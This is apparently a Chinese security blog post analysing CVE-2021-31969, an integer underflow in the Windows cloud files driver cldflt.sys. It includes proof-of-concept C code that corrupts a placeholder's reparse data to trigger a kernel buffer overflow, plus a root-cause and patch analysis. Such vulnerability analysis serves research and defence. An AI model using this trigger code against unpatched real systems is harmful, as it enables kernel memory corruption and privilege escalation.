随着云存储的普及,各种操作系统都添加了支持此类存储的服务和功能。现在可以在云端同步本地存储,同时也可以在系统上检索到问价。在 Windows 上,这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个 Cloud Filter API 的本机 API。该API实现可在 Cloud Files Mini Filter Driver 或 cldflt.sys 中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息,该漏洞的编号为CVE-2021-31969 / ZDI-21-797,它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。

『技术资料』

一、Cloud Sync Engines

Windows 中的Cloud Filter API 启用是从 Windows 10 版本的 1709 开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过 Windows 文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows 通过同步使关联的云文件显示出来。

二、漏洞利用方法

以下是PoC中关键步骤的描述:

1:首先执行同步注册。然后启动同步提供程序和同步过滤器 API 之间的通信:

WCHAR* dir = (WCHAR*)L"C:\\ProgramData";
GUID guid = { 0 };
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hr = CfRegisterSyncRoot(dir, &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)){ printf("CfRegisterSyncRoot failed with %p\n", hr); return 0;
}
CF_CALLBACK_REGISTRATION table[2];
table[0].Callback = DoTransferCallback;
table[0].Type = CF_CALLBACK_TYPE_FETCH_DATA;
table[1].Callback = nullptr;
table[1].Type = CF_CALLBACK_TYPE_NONE;
CF_CONNECTION_KEY key;
hr = CfConnectSyncRoot(dir, table, 0, CF_CONNECT_FLAG_NONE, &key);

2:获取目标目录的句柄并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析数据:

RtlInitUnicodeString(&name, ntDir);
InitializeObjectAttributes(&oa, &name, 0, 0, 0);
ret = NtCreateFile(&hF, 0xC0000000, &oa, &isb, 0, 0, 0, 3, 1, 0, 0);
if (NT_SUCCESS(ret))
{ ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_GET_REPARSE_POINT, 0, 0, rb, 0x300); if (NT_SUCCESS(ret)) { // ...             }
}

3:修改检索到的重解析数据,将长度设置为零。然后通过FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回原位(标签设置为 0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,设置参数以code= 0xC0000003通过cloud filter FSCTL ( 0x903BC)请求占位符更新。

rb[0xa] = 0;//set (USHORT) length to zero
rb[0x9] = 0xfa;
rb[0x8] = 0xfa;
rb[13] = 0x22;
rbLen += *(UINT16*)(rb + 4);
rbSet = (char*)malloc(rbLen + setLen);
memset(rbSet, 0, rbLen + setLen);
*(UINT32*)(rbSet + 0) = 0;
*(UINT32*)(rbSet + 4) = 0x9000301A;
memcpy(rbSet + setLen, rb, rbLen);
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_SET_REPARSE_POINT_EX, rbSet, setLen + rbLen, 0, 0);
memset(output, 0, 0x100);
*(UINT32*)(output + 0) = 0x9000001a;
*(UINT32*)(output + 4) = 0xC0000003;
*(UINT32*)(output + 8) = 0x10000;
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, 0x903BC, output, 0x100, 0, 0);

三、内核漏洞

内核驱动程序cldflt.sys负责处理cloud filter FSCTL。函数中用了大量 switch 语句来完成工作,这个函数被命名为HsmFltProcessHSMControl:

图 1 - HsmFltProcessHSMControl 函数

对0xC0000003的操作,最终会调用HsmFltProcessUpdatePlaceholder:

图 2 - 调用 HsmFltProcessUpdatePlaceholder

经过一些处理,执行流程将达到HsmpRpReadBuffer。首先分配一个缓冲区,然后通过发出一个FSCTL_GET_REPARSE_POINT控制指令来检索重解析数据。检索到的数据可能已被攻击者修改,之后调用HsmpRpiDecompressBuffer:

图 3 - 调用 HsmpRpiDecompressBuffer

在HsmpRpiDecompressBuffer内部,提供的长度(攻击者已设置为零)被检索并增加 8。它保存在局部变量 length 中,然后用于分配内核缓冲区。之后,代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。但是,它传递给RtlDecompressBuffer的指针不是已分配缓冲区的开始。而是已分配缓冲区开始前的 12 个字节,以便为某些元数据腾出空间。相应地,它传递给RtlDecompressBuffer的缓冲区大小是length-12。在下面的反汇编代码中,减法被优化为ADD。在我们的例子中,这个减法产生了一个整数下溢,因此一个巨大的缓冲区长度值 0xFFFFFFF4 被传递给RtlDecompressBuffer,这会导致内核缓冲区溢出。

图 4 - 整数下溢漏洞

四、补丁分析

Microsoft 通过添加检查以确保检索到的长度不小于 4 来修复此漏洞,这使得无法触发整数下溢。

图 5 - 来自 Microsoft 的补丁

最后

学习网络安全可以点击『网络安全学习资料~攻略」获取

『安全漏洞』Windows 云同步引擎API整数溢出漏洞相关推荐

  1. MS08-067远程代码执行漏洞(CVE-2008-4250) | Windows Server服务RPC请求缓冲区溢出漏洞复现

    MS08-067远程代码执行漏洞(CVE-2008-4250) | Windows Server服务RPC请求缓冲区溢出漏洞复现 文章目录 MS08-067远程代码执行漏洞(CVE-2008-4250 ...

  2. 【漏洞分析】Adobe Acrobat和Reader整数溢出漏洞(CVE-2012-0774)

    0x00 前言 总体来说坑不多,但是对于windbg没有watchpoint功能这一点,真的是很坑. 0x01 简介 Adobe Acrobat和Reader在True Type Font (TTF) ...

  3. 『中级篇』阿里云安装Docker企业版UCP和DTR(59)

    原创文章,欢迎转载.转载请注明:转载自IT人故事会,谢谢! 原文链接地址:『中级篇』阿里云安装Docker企业版UCP和DTR(59) 前面一节讲到了如何在阿里云使用容器服务的方式,本节主要讲讲如何在 ...

  4. xp正版验证补丁_实操web漏洞验证——IIS HTTP.sys 整数溢出漏洞

    一.漏洞描述 Http.sys 是一个位于 Windows 操作系统核心组件,能够让任何应用程序通过它提供的接口,以 Http 协议进行信息通讯.微软在 Windows 2003 Server 里引进 ...

  5. 【漏洞分析】Foxit Reader BMP biWidth 堆溢出漏洞(CVE-2017-17557)

    0x00 前言 总体来说,坑不多,走下来很平坦.毕竟只是简单的整数溢出漏洞,没有太多知识点. 0x01 简介 Foxit Reader 在2018年5月18日的安全公告中提及修复了因恶意调用特定函数, ...

  6. 殊途同归的CVE-2012-0774 TrueType字体整数溢出漏洞分析

    1. 前言 官方的漏洞通报中,关于这个漏洞的信息其实很少: Integer overflow in Adobe Reader and Acrobat 9.x before 9.5.1 and 10.x ...

  7. linux内核io源码,Linux Kernel do_io_submit()函数整数溢出漏洞

    发布日期:2010-09-21 更新日期:2010-09-27 受影响系统: Linux kernel 2.6.x 不受影响系统: Linux kernel 2.6.36-rc4 描述: ------ ...

  8. linux测试dvi接口,TeX Live DVI字体数据解析整数溢出漏洞

    发布日期:2010-05-06 更新日期:2010-05-18 受影响系统: teTeX teTeX 3.0.0 teTeX teTeX 2.0.2 TeX Live TeX Live 2009 Te ...

  9. 链安团队漏洞分析连载(第一期)一一溢出漏洞

    4月发生的BEC事件以及SMT事件已经沉淀一段时间了,具体的情况也被多方媒体所报道,相关的漏洞根源问题也有很多大神团队的分析和指正,成都链安科技团队将各种已经发生或可能发生的类似溢出漏洞原理进行整理, ...

最新文章

  1. 【Go】Go基础(五):函数
  2. navicat for mysql收藏夹
  3. easyui 获取 combobox select 的值
  4. DL之AF:机器学习/深度学习中常用的激活函数(sigmoid、softmax等)简介、应用、计算图实现、代码实现详细攻略
  5. 两个sql交集_数据库(sql)关键字
  6. oracle命令行安装
  7. 关于lock_guard使用细节
  8. 黑猫警长 stl_如何使用当地警长保护您的信息
  9. 深度linux_国产系统?基于Linux研发的深度Deepin系统,到底算不算真国产
  10. CSS实现三栏布局(5种)
  11. 一个简单的flask程序
  12. Layui在表格中无法显示进度条(layui-progress)的值
  13. 服务器卡顿修改dns,电视/盒子太卡了怎么办?教你修改DNS解决卡顿问题
  14. 电气火灾监控系统在太焦铁路博爱站房项目的应用
  15. 磁盘管理之动态磁盘和静态磁盘的区别
  16. 文曲星猜数字游戏java_文曲星猜数字游戏
  17. 某乎x-zse-96、x-zst-81最新通杀方案
  18. 做一名名企科学家,还是当一个终身教授,这是一个问题
  19. 【TeXstudio】【2】一般的图片和表格的表现形式
  20. 蓝桥杯BASIC-3字母图形

热门文章

  1. 成功解决ModuleNotFoundError: No module named 'keras_retinanet.utils.compute_overlap'
  2. DL之perceptron:利用perceptron感知机对股票实现预测
  3. DL之Attention:Attention注意力机制的简介、应用领域之详细攻略
  4. 机器学习常见算法汇总
  5. os_mem.c(全)
  6. 洛谷P1220 关路灯(区间dp)
  7. Java中的三目运算符
  8. 多线程,线程同步,synchronized关键字的用法
  9. sql添加列,删除列,修改列
  10. 科目二倒车入库不论怎么都能入进去的方法